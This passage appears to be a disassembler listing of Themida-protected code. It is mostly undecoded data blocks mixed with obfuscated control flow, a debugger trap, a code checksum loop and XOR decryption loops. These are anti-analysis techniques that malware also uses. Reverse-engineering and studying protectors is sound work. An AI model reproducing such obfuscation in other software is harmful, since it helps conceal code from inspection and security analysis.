dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 3DE782C3h, 0F1DB99C6h, 31D1CD00h, 1500359Dh
dd 0DE806h, 0FE0C0000h, 0EFA4240Ch, 7980345Ah, 666A9079h
dd 5F6B85BFh, 2F05BD8Bh, 6A0615h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 67C35545h, 2F219D8Bh, 0FCB70615h
dd 22187368h, 0FA8B66C6h, 8C240481h, 6A39FCEBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 84F9C353h, 0E44508DEh, 6690B3C1h, 3827CB81h, 0DAD95FFh
dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 42A540C3h, 998589BCh, 6A0618BFh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0BDBC356h, 47E922EBh, 6A000002h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 800BC356h
dd 76532CB6h, 0FE9E6h, 0F9460000h, 0D1A3FC0h, 8A07EA89h
dd 73E43F8Ah, 8D95295Ah, 8B06150Ah, 18BF9185h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0C7A43Bh, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 70C35141h, 0C04C0979h, 0B58BD688h, 618BF95h, 0A319D8Bh
dd 858B0615h, 6150C45h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 1EC35747h, 274B6002h, 7D9D8B16h, 8906152Dh
dd 0D1BD8906h, 8B061522h, 15249D85h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 9DE1649Fh
dd 46890A75h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 9D8973E4h, 6152FD9h, 2D999D2Bh, 60960615h
dd 972C1BB8h, 2800F45h, 50000000h, 6650615Eh, 964BE3BFh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 58C35242h
dd 60DFB70Fh, 9E3DBE66h, 188DB58Bh, 0FF610615h, 18BF91B5h
dd 4E806h, 3FF0000h, 8A0F001Fh, 0Ah, 48E0Fh, 0BF660000h
dd 0BB502CE6h, 7310281Ah, 424448Bh, 8BD88B66h, 0F98B6600h
dd 4244489h, 2EB35250h, 5352310Fh, 585A5F5Bh, 66606058h
dd 9785C981h, 23519D89h, 0BF610615h, 0CD4838Bh, 99858D61h
dd 6A0618BFh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0F05C350h, 683h, 71BD3300h, 50061504h
dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 3625C353h, 0F9E59928h, 0F4E19E5h
dd 680h, 5DBD8B00h, 66061507h, 20C6EF81h, 0DAD95FFh, 6A0615h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 430B93C3h, 0C9FDEF9Dh, 0E19BD2Bh, 0F610615h, 683h, 31CB8100h
dd 0C77893CEh, 15111585h, 306h, 1D9D8B00h, 83061529h, 18BF99BDh
dd 840F0006h, 2Fh, 870Fh, 3FE90000h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0FFB9C350h, 66FBA6C3h, 507CCCBFh, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 9529C08Bh, 615344Dh, 28B99D8Bh
dd 10E90615h, 2E000000h, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh
dd 838D1CEEh, 151115BDh, 850F0306h, 3B7h, 1D719D8Bh, 0BD830615h
dd 618BF99h, 0A4840F00h, 6A000003h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 88B6C351h
dd 8BB06DFCh, 1523999Dh, 99B5FF06h, 6A0618BFh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 7128C352h, 0D4CF80E5h, 10E195FFh, 880F0615h, 12h, 6E8h
dd 7D2D7200h, 0F538D7Dh, 8Fh, 0B58B5F00h, 618BF8Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h, 0ACBDD3A2h
dd 0E9BAF0F3h, 0Fh, 0D4BBE210h, 0DD58AF41h, 10EFBA9Fh
dd 0C72D0011h, 1000106h, 0F1BD0300h, 5006152Eh, 6A243489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 87B1C357h, 4CB8EB49h, 0B5FF7741h, 618BF99h
dd 2A65BD8Bh, 95FF0615h, 61506A1h, 958D31FCh, 8B06150Dh
dd 18BF8DB5h, 0F59D8B06h, 8B061526h, 15005985h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 9B0A272Fh, 6E83DE0h, 0E0000000h, 0CA7A51C3h, 13E9A6h
dd 0DC90000h, 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh
dd 86895F89h, 0C4h, 2146DB81h, 958B61D9h, 6152721h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C0C35343h, 0FC026216h
dd 1EE3BC2Fh, 0DF07EF81h, 0C28306F2h, 9D896004h, 6150CA5h
dd 0FAB70F61h, 0B3205089h, 58858D4Eh, 8B0618D4h, 0B88689FAh
dd 0E9000000h, 14h, 463C25D4h, 8113340Bh, 0C49E4115h, 764E929Ch
dd 0FF4786ABh, 2D31B529h, 6A0615h, 8F0Fh, 0B5FF0000h, 618BF99h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h
dd 6850F70h, 3000000h, 150981BDh, 0A6F78006h, 1D4D95FFh
dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0C19852C3h, 26523554h, 33A25966h, 1513719Dh
dd 5096F906h, 89D5BB66h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 1115D122h, 8BDD4553h
dd 99B5FFFEh, 0BF0618BFh, 4244F709h, 72995FFh, 0F3BB0615h
dd 83623C8Dh, 150065BDh, 840F0006h, 5Eh, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9DC35343h, 576C929Ah
dd 0C381B54Fh, 1C5C1F77h, 5E950h, 98F40000h, 891F49C3h
dd 0DE82434h, 67000000h, 138C91A2h, 0B95CB2B9h, 99B80E75h
dd 10E9h, 0B50EE800h, 0F1248726h, 0AB83019Bh, 534AC79Dh
dd 0B5FF5BF4h, 618BF99h, 2DF8F781h, 95FF2DD0h, 6150439h
dd 37A3BF60h, 9D0910F5h, 6150451h, 99B5FF61h, 6A0618BFh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 993FC355h, 0C8C7CB2h, 2C718D01h, 95FF0615h
dd 6150DCDh, 0DE8h, 11758A00h, 73B89833h, 63D9E7EEh, 5FFC6177h
dd 285DBD83h, 0F020615h, 3C84h, 65850900h, 8B061518h, 15284985h
dd 0FB8B6606h, 12E4F781h, 0C624C2h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 8D0F4B8Dh
dd 1, 0F585C7F5h, 61523h, 8B000000h, 152B45BDh, 919D8B06h
dd 0E9061505h, 0FFFFF2A7h, 6AC18Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 55847C3h
dd 74BB662Ch, 0CF816606h
db 1Bh, 47h
word_5BED76 dw 858Dh ; DATA XREF: Themida_:0057A7F8o
dd 615279Dh, 398D8B60h, 9061513h, 15182D9Dh, 0CF816106h
dd 6880ED7Ch, 12E850h, 538D0000h, 0B4753F21h, 0B32C96E4h
dd 0BAD2EB9Bh, 5FF4B5A4h, 0F7C20EBBh, 4895B6Ah, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 600CE4BAh, 840Fh, 0BD8B0000h, 6152789h, 6A006A61h, 0AE900h
dd 130000h, 332BA79Fh, 2187991Ah, 54D1858Dh, 6A0619h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0E3C667C3h, 0DEA71C28h, 95892C49h, 6152219h, 8905C083h
dd 150A85BDh, 8EB35006h, 31240489h, 15137185h, 0A810F06h
dd 0E9000000h, 5, 5EBA8C62h, 1006A50h, 150B7D95h, 0FF006A06h
dd 15267995h, 58D8906h, 8D06151Eh, 189C158Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 707840FEh, 80FB67C7h, 0E59D8BC6h, 8B061514h, 151A35BDh
dd 89D1FF06h, 15303585h, 0B5BD8306h, 106152Dh, 5A850Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 335F5BC3h, 95094E0Eh, 6150321h, 9D8B026Ah
dd 6150A69h, 14E950h, 34980000h, 807FD7CEh, 1A8F279Ah
dd 3495DB3Dh, 2D523235h, 489B15Dh, 0F9BF0F24h, 1D4D95FFh
dd 95890615h, 61528D5h, 0CFEE9h, 0E800h, 815D0000h, 1954DBEDh
dd 0CE906h, 765B0000h, 2C7336FEh, 155B2CFEh, 6A01E3h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0D0C044C3h, 9D8B1A92h, 61523E9h, 88F9858Dh, 85890618h
dd 6151379h, 24048950h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 94C35646h, 0DCC686F8h, 35FF643Fh, 0
; ---------------------------------------------------------------------------
or [ebp+6152F41h], esi
mov edi, [ebp+6152555h]
mov large fs:0, esp
xor bx, 6960h
jo loc_5BEFA1
movzx edi, si
loc_5BEFA1: ; CODE XREF: Themida_:005BEF98j
inc dword ptr [ebp+6151535h]
mov edi, esi
loc_5BEFA9: ; CODE XREF: Themida_:loc_5BFBD0j
push 0FFFFFFFFh
push dword ptr [ebp+6152F59h]
mov edi, [ebp+61515E9h]
jmp loc_5BEFCF
; ---------------------------------------------------------------------------
dd 0DFC1A589h, 897F16D7h, 8B77BD54h, 0A8E6F944h
db 7Bh, 0BDh, 44h
; ---------------------------------------------------------------------------
loc_5BEFCF: ; CODE XREF: Themida_:005BEFB7j
call dword ptr [ebp+61508BDh]
jmp loc_5BF0E6
; ---------------------------------------------------------------------------
dw 8B66h
dd 8900B0FBh, 15262595h, 758D8906h, 0E6061524h, 9E970h
dd 0B1850000h, 0E23BFFA1h, 0E45A4984h, 11E871h, 18D50000h
dd 5E4D9E88h, 0FA8C22C1h, 97F0A6B6h, 8BA6DA18h, 613C5FDFh
dd 0C8830Fh, 8D090000h, 6152B1Dh, 0B3C8B60Fh, 38A0F7Eh
dd 0F000000h, 6BAF9BFh, 0BB000000h, 1323C99Fh, 8B66C18Bh
dd 4E8C1F9h, 0E2F766F5h, 0A259D89h, 0C82B0615h, 0BD39D781h
dd 0D18B5901h, 49B58952h, 5B061503h, 1E9h, 858BF900h, 6151D91h
dd 5698501h, 0C0830615h, 6E95707h, 36000000h, 147985ECh
dd 0C0835B8Ah, 0C99D0300h, 0F061511h, 286h, 3B62B300h
dd 10830FD0h, 0BF000000h, 3B3555C1h, 41E9h, 0E19D8B00h
dd 8B061520h, 1528718Dh, 51858906h, 8306152Ah, 840F01E1h
dd 26h, 66DEBF0Fh, 83BEA6BFh, 152871A5h, 957FE06h, 150461B5h
dd 95895B06h, 6151D91h, 0DE7911BBh, 0E931h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5BF0E6: ; CODE XREF: Themida_:005BEFD5j
lea esi, [ebp+618E1BCh]
push 0
push edi
call sub_5BF0F7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF0F7 proc near ; CODE XREF: Themida_:005BF0EFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5BF0F7 endp
; ---------------------------------------------------------------------------
sbb dword ptr [esi+3Fh], 0FFFFFF81h
mov dword ptr [ebx+2Ch], 6A0290h
push ecx
mov bx, 9D61h
pop edi
call dword ptr [ebp+6152E21h]
push 0
push edi
call sub_5BF129
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF129 proc near ; CODE XREF: Themida_:005BF121p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5BF129 endp
; ---------------------------------------------------------------------------
dec esi
sbb esi, [esi-42h]
mov ebx, [ebp+6152589h]
mov ecx, 0DD2h
push 0
push ebx
call sub_5BF153
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF153 proc near ; CODE XREF: Themida_:005BF14Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5BF153 endp
; ---------------------------------------------------------------------------
jns short loc_5BF181
push es
int 3 ; Trap to Debugger
mov di, 0ADCh
and ecx, 0FFFFFFFCh
mov ebx, 1316823Eh
jmp loc_5BF181
; ---------------------------------------------------------------------------
dd 0E4A280B7h, 806CF5B4h
db 1
; ---------------------------------------------------------------------------
loc_5BF181: ; CODE XREF: Themida_:005BF163j
; Themida_:005BF173j
cld
mov [ebp+6151135h], eax
xor di, 6DADh
sub eax, eax
push 0
push ebp
call sub_5BF19A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF19A proc near ; CODE XREF: Themida_:005BF192p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5BF19A endp
; ---------------------------------------------------------------------------
dw 4D63h
; ---------------------------------------------------------------------------
push ecx
mov ebx, 700AB549h
pop ebx
mov ebx, [ebp+6151E6Dh]
mov edx, 0
sbb bl, 8Dh
loc_5BF1C1: ; CODE XREF: Themida_:005BF1CBj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5BF1C1
mov [ebp+61510DDh], esi
push 0
push ebx
call sub_5BF1DE
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF1DE proc near ; CODE XREF: Themida_:005BF1D6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5BF1DE endp
; ---------------------------------------------------------------------------
dw 0D0A4h
; ---------------------------------------------------------------------------
mov dh, 7Ch
jmp loc_5BF203
; ---------------------------------------------------------------------------
db 0D1h
dd 921481B0h, 4AB1CC16h
db 1Dh, 5Fh, 85h
; ---------------------------------------------------------------------------
loc_5BF203: ; CODE XREF: Themida_:005BF1F2j
or eax, 88h
push 0
push esi
call sub_5BF213
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF213 proc near ; CODE XREF: Themida_:005BF20Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5BF213 endp
; ---------------------------------------------------------------------------
db 8Dh
; ---------------------------------------------------------------------------
fidivr dword ptr [ecx+73h]
fldenv byte ptr [edi]
add al, 8Bh
xchg eax, ebp
and [edi], esp
adc eax, 57006A06h
call sub_5BF23B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF23B proc near ; CODE XREF: Themida_:005BF233p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5BF23B endp
; ---------------------------------------------------------------------------
adc [ebx+1504CD8Dh], cl
push es
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
loc_5BF263: ; CODE XREF: Themida_:005BF2B4j
pop eax
mov ebx, [ebp+61525E5h]
push 0
push edi
call sub_5BF275
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF275 proc near ; CODE XREF: Themida_:005BF26Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5BF275 endp
; ---------------------------------------------------------------------------
mov esi, 66698F4Ch
mov edi, esi
cmp dword ptr [ebp+61518A9h], 0
jz loc_5BF2F3
and edi, 65657F7Bh
sbb bx, 8DFCh
mov eax, 0
jmp loc_5BF2BF
; ---------------------------------------------------------------------------
fistp word ptr [eax+7C1F66C4h]
jmp short loc_5BF263
; ---------------------------------------------------------------------------
dw 0AECEh
dd 874F59BDh
db 0C7h, 54h, 0A3h
; ---------------------------------------------------------------------------
loc_5BF2BF: ; CODE XREF: Themida_:005BF2A9j
lea ecx, [ebp+6154F9Eh]
and ebx, [ebp+615136Dh]
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5BF2D8
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF2D8 proc near ; CODE XREF: Themida_:005BF2D0p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5BF2D8 endp
; ---------------------------------------------------------------------------
and cl, [ebx+152F159Dh]
push es
mov bx, 6DA9h
loc_5BF2F3: ; CODE XREF: Themida_:005BF293j
cmp dword ptr [ebp+6151115h], 0
jz loc_5BF71A
push 0
push esi
call sub_5BF30B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF30B proc near ; CODE XREF: Themida_:005BF303p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5BF30B endp
; ---------------------------------------------------------------------------
db 0F3h
dd 6E136B20h, 0E9500091h, 0Bh, 0D8532E8Dh, 81CA6770h, 5B1D376Eh
dd 0F18D0153h, 5B061508h, 1115BD83h, 0F010615h, 3EC84h
dd 618D8900h, 8306150Ah, 151115BDh, 860F0306h, 3A3h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h, 49837FD0h
dd 12E9DFh, 772F0000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah
dd 4A8804E5h, 11E9F860h, 0E8000000h, 0CA7BBF89h, 327EB85Dh
dd 6F9C6FADh, 26034DB5h, 6AD98C66h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 10CFC355h
dd 0C9BD8B31h, 0F061521h, 84h, 4E18000h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AAC35343h, 7B8B8C29h
dd 3BBDE76h, 0A3EEE8Dh, 12840FC9h, 6A000001h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 1061C352h, 858B14F3h, 615249Dh, 0AA1ADB81h, 7E93699h
dd 0E1000000h, 2EDB20C3h, 85339611h, 61519B5h, 81FAB70Fh
dd 906C9EBh, 52505034h, 5B565250h, 0EAB7310Fh, 310F585Ah
dd 489585Ah, 68A0F24h, 81000000h, 2DB1D0E3h, 6AF818h, 158A0Fh
dd 10E90000h, 0F3000000h, 3BB7F581h, 2A9CBC7Ah, 0EFE802D6h
dd 68B4735Eh, 7B40FD3Ch, 0E9525060h, 9, 0C210EA88h, 0F93DC087h
dd 0BB310FCDh, 366F3668h, 5250585Ah, 9E8h, 0E1C98A00h
dd 9DAEEE08h, 0F5A802Ch, 9216BB31h, 585A379Ah, 24348161h
dd 7B5FFEC3h, 953DB81h, 95FF64C9h, 6150DADh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AEC35040h, 374E550Dh
dd 0AC3641FDh, 8589F88Bh, 618BF99h, 6830Fh, 0BD8B0000h
dd 6151849h, 18FE9h, 95BB6600h, 91858B0Fh, 890618BFh, 1509E995h
dd 1800C706h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0C232C350h, 860F8161h
dd 6, 12BDB589h, 0B58B0615h, 618BF95h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 55C35141h, 0A4EC67A2h, 8B9D39F7h
dd 1525919Dh, 45858B06h, 8906150Ch, 15104195h, 81068906h
dd 9CA8BCF3h, 9D858B4Fh, 0B061524h, 152CAD9Dh, 4468906h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A0C35343h
dd 24E36291h, 6D7E2DCDh, 0B58960CAh, 615257Dh, 746B966h
dd 8B665061h, 243489DEh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0FFC35141h, 219D8BD5h, 0FF061510h, 18BF91B5h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 852956B8h, 61517A9h, 4CEAD068h, 81FB8BF0h
dd 192F2404h, 6A0FD2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 7043F0C3h, 8B661BB8h, 99858DDFh
dd 810618BFh, 0F45089CFh, 8B665043h, 240489FAh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 0FC1B7C2Fh
dd 0D553BF66h, 86D9D8Bh, 95FF0615h, 6150DADh, 0E1E1BB66h
dd 81666061h, 61F4DAD9h, 111585C7h, 30615h, 0BF0F0000h
dd 99BD83FAh, 618BFh, 35840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 44BC02C3h
dd 87A78BD8h, 9D8B8EAFh, 6150669h, 21E9h, 8F0F00h, 50000000h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h
; ---------------------------------------------------------------------------
jmp short loc_5BF750
; ---------------------------------------------------------------------------
loc_5BF71A: ; CODE XREF: Themida_:005BF2FAj
; Themida_:005BF731j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5BF71A
jmp short loc_5BF750
; ---------------------------------------------------------------------------
loc_5BF735: ; CODE XREF: Themida_:005BF74Cj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5BF735
jmp short $+2
loc_5BF750: ; CODE XREF: Themida_:005BF718j
; Themida_:005BF733j
mov eax, eax
jmp loc_5BF75E
; ---------------------------------------------------------------------------
jns short loc_5BF7B4
mov al, ds:79DF8355h
loc_5BF75E: ; CODE XREF: Themida_:005BF752j
movzx edi, di
or [ebp+6150101h], edi
cmp dword ptr [ebp+6151115h], 3
jnz loc_5BFBD0
push 0
push edx
call sub_5BF77F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF77F proc near ; CODE XREF: Themida_:005BF777p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5BF77F endp
; ---------------------------------------------------------------------------
db 4
dd 72300E7Dh, 9D238626h, 6150CEDh, 0BF99BD83h, 0F000618h
dd 42784h, 0AE900h, 75340000h, 0B64C171Bh
; ---------------------------------------------------------------------------
loc_5BF7B4: ; CODE XREF: Themida_:005BF757j
adc [esi-474A4CFh], bh
push dword ptr [ebp+618BF99h]
or ebx, 1BCFDC01h
call dword ptr [ebp+61510E1h]
mov [ebp+61505B9h], ecx
jmp loc_5BF7DE
; ---------------------------------------------------------------------------
db 0E5h
dd 1E4A8804h
db 0C9h, 3Dh
; ---------------------------------------------------------------------------
loc_5BF7DE: ; CODE XREF: Themida_:005BF7D2j
mov esi, [ebp+618BF8Dh]
push 0
push edi
call sub_5BF7EF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF7EF proc near ; CODE XREF: Themida_:005BF7E7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5BF7EF endp
; ---------------------------------------------------------------------------
db 7Eh
dd 899DFF33h, 150DD1B5h, 106C706h, 8B000100h, 1524B1BDh
dd 6E806h, 185B0000h, 83DA0F1Eh, 0BE8h, 0C1968300h, 0AC9E592Ah
dd 67AE58CAh, 840Fh, 5B5B0000h, 5E850h, 222A0000h, 0E934C727h
dd 5, 891A4352h, 34895FF9h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0CC0F2077h
dd 0C0D843D8h, 0F59D8924h, 8906150Fh, 1502D5B5h, 0FFD88A06h
dd 18BF99B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 254E891h, 633D326Eh, 11FBBF3Bh, 95FF6DBDh
dd 61506A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0D7C35646h, 231420F6h, 6671D46Bh, 8B9907BBh, 18BF8DB5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 3B33FA33h, 0BFE2ACF6h, 7D9BD8Bh, 858B0615h
dd 6150059h, 8689FBB3h, 0C4h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0CEC35646h, 4D9D8BF8h, 8B061517h
dd 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 45C7AE78h, 0D9BF0F59h, 2904C283h
dd 1508B99Dh, 20508906h, 0D458858Dh, 0BB660618h, 8689394Bh
dd 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 53C35141h, 1D8D896Dh, 29061500h, 15022D8Dh, 89006A06h
dd 1518419Dh, 99B5FF06h, 6A0618BFh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 4632C352h
dd 95FFFE11h, 6151D4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 97C35343h, 119474DDh, 11EF81DCh, 603F50E5h
dd 6D18D23h, 0BD8B0615h, 6152EA1h, 0DE85061h, 0BE000000h
dd 68354A59h, 0B6CCED09h, 9EC76190h, 11E860h, 20DE0000h
dd 951F952Ch, 0B9C48100h, 6C9FBF4Dh, 5E6C2A72h, 5E8h, 27843000h
dd 61594B49h, 2434895Fh, 0FFD9B70Fh, 18BF99B5h, 0F8BB6606h
dd 2995FFB2h, 6A061507h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 4EA1C351h, 13E80Bh
dd 90160000h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h, 71D24058h
dd 835FF88Fh, 150065BDh, 840F0006h, 35h, 2ACD9589h, 60500615h
dd 5B5B5756h, 8961EA8Ah, 6A2434h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 90DE5CC3h, 0B46B4319h
dd 99B5FFC2h, 660618BFh, 95FFDA8Bh, 6150439h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 1C35040h, 81C06173h
dd 4A01A6EFh, 0DA8B6650h, 0BF99B5FFh, 6A0618h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0E6505DC3h, 7BC2B4BFh, 2DBD8B77h, 0FF061517h, 150DCD95h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 8D290596h, 6151D81h, 285DBD83h, 0F020615h
dd 4884h, 800FF900h, 15h, 0AE960h, 4EB0000h, 864532C6h
dd 9BB535C9h, 8F86B866h, 49858B61h, 6A061528h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 6698C355h, 0A80FD781h, 8B0000C6h, 0F585C7F8h, 61523h
dd 66000000h, 0BF6FC781h
; ---------------------------------------------------------------------------
loc_5BFBD0: ; CODE XREF: Themida_:005BF76Ej
jmp loc_5BEFA9
; ---------------------------------------------------------------------------
mov bl, 18h
mov eax, ecx
push 0
push ebp
call sub_5BFBE4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFBE4 proc near ; CODE XREF: Themida_:005BFBDCp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5BFBE4 endp
; ---------------------------------------------------------------------------
pop edi
and byte ptr [ebp+6850Fh], 0
add [ebx+15191D9Dh], cl
push es
loc_5BFC03: ; DATA XREF: Themida_:0057AD70o
lea eax, [ebp+615279Dh]
push 0
push ebx
call sub_5BFC14
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFC14 proc near ; CODE XREF: Themida_:005BFC0Cp
arg_4 = dword ptr 8
